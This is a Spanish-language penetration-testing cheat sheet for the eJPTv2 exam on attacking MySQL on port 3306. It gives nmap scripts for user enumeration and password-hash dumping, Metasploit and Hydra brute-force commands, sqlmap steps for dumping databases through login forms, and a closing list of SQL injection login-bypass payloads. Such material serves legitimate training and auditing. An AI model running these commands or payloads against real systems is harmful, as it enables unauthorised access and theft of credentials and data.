🔍Puertp - 3306 - MySQL & SqlMap
🔍Auditoría de Seguridad en el Puerto 3306 - MySQL
El puerto 3306 es utilizado por el servicio MySQL, una de las bases de datos más utilizadas en entornos empresariales y de desarrollo. Debido a su criticidad, es un objetivo frecuente en auditorías de seguridad.
📌 Resumen de Herramientas y Técnicas para Auditoría en MySQL
Esta guía cubre las principales herramientas y técnicas para auditar MySQL en el puerto 3306 en el examen eJPTv2
🛠️ Herramientas Principales.
🔍 Nmap + Scripts NSE: Enumeración y detección de vulnerabilidades. 🔧 Metasploit: Explotación de fallos y acceso no autorizado. 🛠️ Hydra & Medusa: Ataques de fuerza bruta para credenciales. 📊 Sqlmap: Pruebas de inyección SQL automatizadas.
🕵️ Reconocimiento e Identificación del Servicio MySQL
Determinar la versión del servicio MySQL es fundamental para detectar posibles vulnerabilidades.
nmap -p 3306 -sCV <ip_victima> # Escaneo para intentar ver la versión.
mysql -u "root" -N -h --skip-ssl <ip_victima> # Probar a iniciar sesión con una null session.
mysql -u <username> -h <ip_víctima> -p # Iniciar sesión con credenciales válidas.
nmap -p 3306 --script mysql-info <ip_victima>
nmap -p3306 --script vuln <ip_victima> # Escaneo completo de vulnerabilidades.
nmap -p 3306 --script mysql-audit,mysql-databases <ip_victima>
nmap -p 3306 --script mysql-users,mysql-variables <ip_victima> # Enumeración de usuarios y variables del servidor.
nmap -p 3306 --script=mysql-empty-password <ip_victima> # Detección de contraseñas vacías.
nmap -p 3306 --script=mysql-variables --script-args="mysqluser='<username>',mysqlpass='<password>'" <ip_victima> # Obtener Variables de Configuración con Credenciales
nmap -p 3306 --script=mysql-dump-hashes --script-args="username='<username>',password='<password>'" <ip_victima> # Extracción de Hashes de Contraseñas
nmap -p 3306 --script=mysql-query --script-args="query='select count(*) from <nombre_db>.<nombre_tabla>;',username='<username>',password='<password>'" <ip_victima> # Ejecución de Consultas Personalizadas
nmap -p 3306 --script ms-sql-brute --script-args userdb=/<wordlists.txt>,passdb=/<wordlists.txt> <ip_victima> # Fuerza Bruta contra SQL Server
🔨 Uso de Metasploit para Auditoría de MySQL.
Enumeración de usuarios.
msfconsole -q
use auxiliary/scanner/mysql/mysql_enum # Enumeración de usuarios
set RHOSTS <ip_victima>
run
Ataque de autenticación débil.
use auxiliary/scanner/mysql/mysql_login
set RHOSTS <ip_victima>
set USERNAME root
set PASSWORD password
run
Lista recursos mysql.
use auxiliary/admin/mysql/mysql_enum # Enumeración de Información en MySQL
use auxiliary/admin/mysql/mysql_sql # Ejecución de Consultas SQL
use auxiliary/scanner/mysql/mysql_file_enum # Enumeración de Archivos en el Sistema
use auxiliary/scanner/mysql/mysql_hashdump #Extracción de Hashes de Contraseñas
use auxiliary/scanner/mysql/mysql_schemadump # Extracción de la Estructura de la Base de Datos
use auxiliary/scanner/mysql/mysql_version # Identificación de la Versión de MySQL
use auxiliary/scanner/mysql/mysql_writable_dirs # Identificación de Directorios con Permisos de Escritura
🔑 Fuerza brutal al servicio MySQL
Hydra
hydra -l <username> -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <ip_victima> mysql
# Si hicieramos un ataque de fuerza bruta a diferentes usuarios podriamos utilizar la flag -u para iterar entre los diferentes usuarios y que no vaya uno por uno probando todas las contraseñas.
Metasploit
msfconsole -q
use auxiliary/scanner/mysql/mysql_login # Ataque de Fuerza Bruta contra MySQL
set RHOSTS <ip_victima>
set USER_FILE /ruta_diccionario.txt
set PASS_FILE /ruta_diccionario.txt
set USERNAME <username>
set password <password>
set THREADS <número> # Definir número de intentos por segundo (Opcional, por defecto 5)
exploit
SqlMap para auditar panel login.
Lo primero que debemos hacer es interceptar la petición en Burpsuite y le damos en la opción Copy to file.

Ahora que tenemos guardado el archivo de la petición, vamos a lanzar la herramienta sqlmap con la siguiente sintaxis:
sqlmap -r <nombre_archivo>
De este modo lo que le estaremos indicando a sqlmap los parámetros en los que tiene que actuar.
El uso mas básico que le podríamos dar a esta herramienta seria el siguiente:
sqlmap -u '<url>' --forms --batch --dbs
--forms: Este parámetro le indica a
sqlmap
que busque formularios en la página web. Los formularios son a menudo puntos de entrada para datos proporcionados por el usuario, lo que significa que son posibles vectores de inyección SQL.sqlmap
escaneará los formularios que encuentre y los probará para detectar vulnerabilidades.--batch:
sqlmap
interactúa con el usuario durante su ejecución para hacer preguntas o solicitar confirmaciones. El uso de--batch
hace quesqlmap
tome las decisiones automáticamente utilizando sus valores predeterminados, sin pedir interacción con el usuario. Es útil cuando se ejecutasqlmap
en scripts o cuando quieres automatizar el proceso.--dbs: Este parámetro le dice a
sqlmap
que, si encuentra una vulnerabilidad de inyección SQL, debe enumerar las bases de datos disponibles en el servidor. Es una opción utilizada para extraer información crítica, que en este caso son los nombres de las bases de datos.
Una vez sepamos que bases de datos existen, vamos seguir utilizando sqlmap pero esta vez le vamos a proporcionar otra sintaxis.
añadiremos -D <nombre_db>
y --tables
para indicarle por un lado que nos muestre la base de datos de users y por otro lado que nos muestre las columnas de dicha base de datos.
sqlmap -u '<url>' --forms --batch -D <nombre_db> --tables
Ahora que sabemos el nombre de dicha columna, vamos a indicarle a sqlmap que nos haga otra petición pero esta vez con el parámetro --colums
sqlmap -u '<url>' --forms --batch -T <nombre> --columns
Cuando no tenemos mucha información otro parámetro que podemos utilizar es: --dump
que nos arrojará toda la información posible sin necesidad de tener que ir 1 por 1. (significativamente mas lento)
sqlmap -u '<url>' --forms --batch --dump
📊 Comando para interactuar con MySQL
mysql -u <usuario> -p # Iniciar sesión con credenciales válidas.
mysql -h <ip_servidor_> -u <usuario> -p # Conectarte a un servidor MySQL remoto.
mysql -h <ip_servidor> -P <puerto> -u <username> -p # MySQL escucha en un puerto distinto al 3306, especifica el puerto.
help # Abre el menu de ayuda
show databases; # Mostrar Bases de Datos.
use <nombre_basededatos>; # Seleccionar una Base de Datos.
show tables; # Mostrar Tablas dentro de la Base de Datos.
describe <nombre>; # Describir la Estructura de una Tabla.
select * from <nombre> # Extraer Todos los Registros de una Tabla.
SELECT <nombre_columna> FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='<nombre_tabla>'; # Muestra todas las columnas** de una tabla sin necesidad de DESCRIBE.
SELECT user,host FROM mysql.user; # Buscar Usuarios de MySQL
SELECT user,authentication_string FROM mysql.user; # Obtener los Hashes de Contraseñas de los Usuarios MySQL.
🛑 Errores Comunes y Soluciones
1️⃣ Error: Access denied for user 'root'@'localhost' (using password: YES)
🔹 Solución: Asegúrate de que la contraseña es correcta o usa `sudo mysql -u .
2️⃣ Error: Can't connect to MySQL server on '127.0.0.1' (111)
**
🔹 Solución: Verifica que MySQL está corriendo.
Algunos ejemplos de SQLinjection
admin' --
admin' #
admin' /*
' OR 1=1;-- -
' OR 1=1#
' OR 1=1/*
') OR '1'='1-- -
') OR ('1'='1-- -
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1-- -
Last updated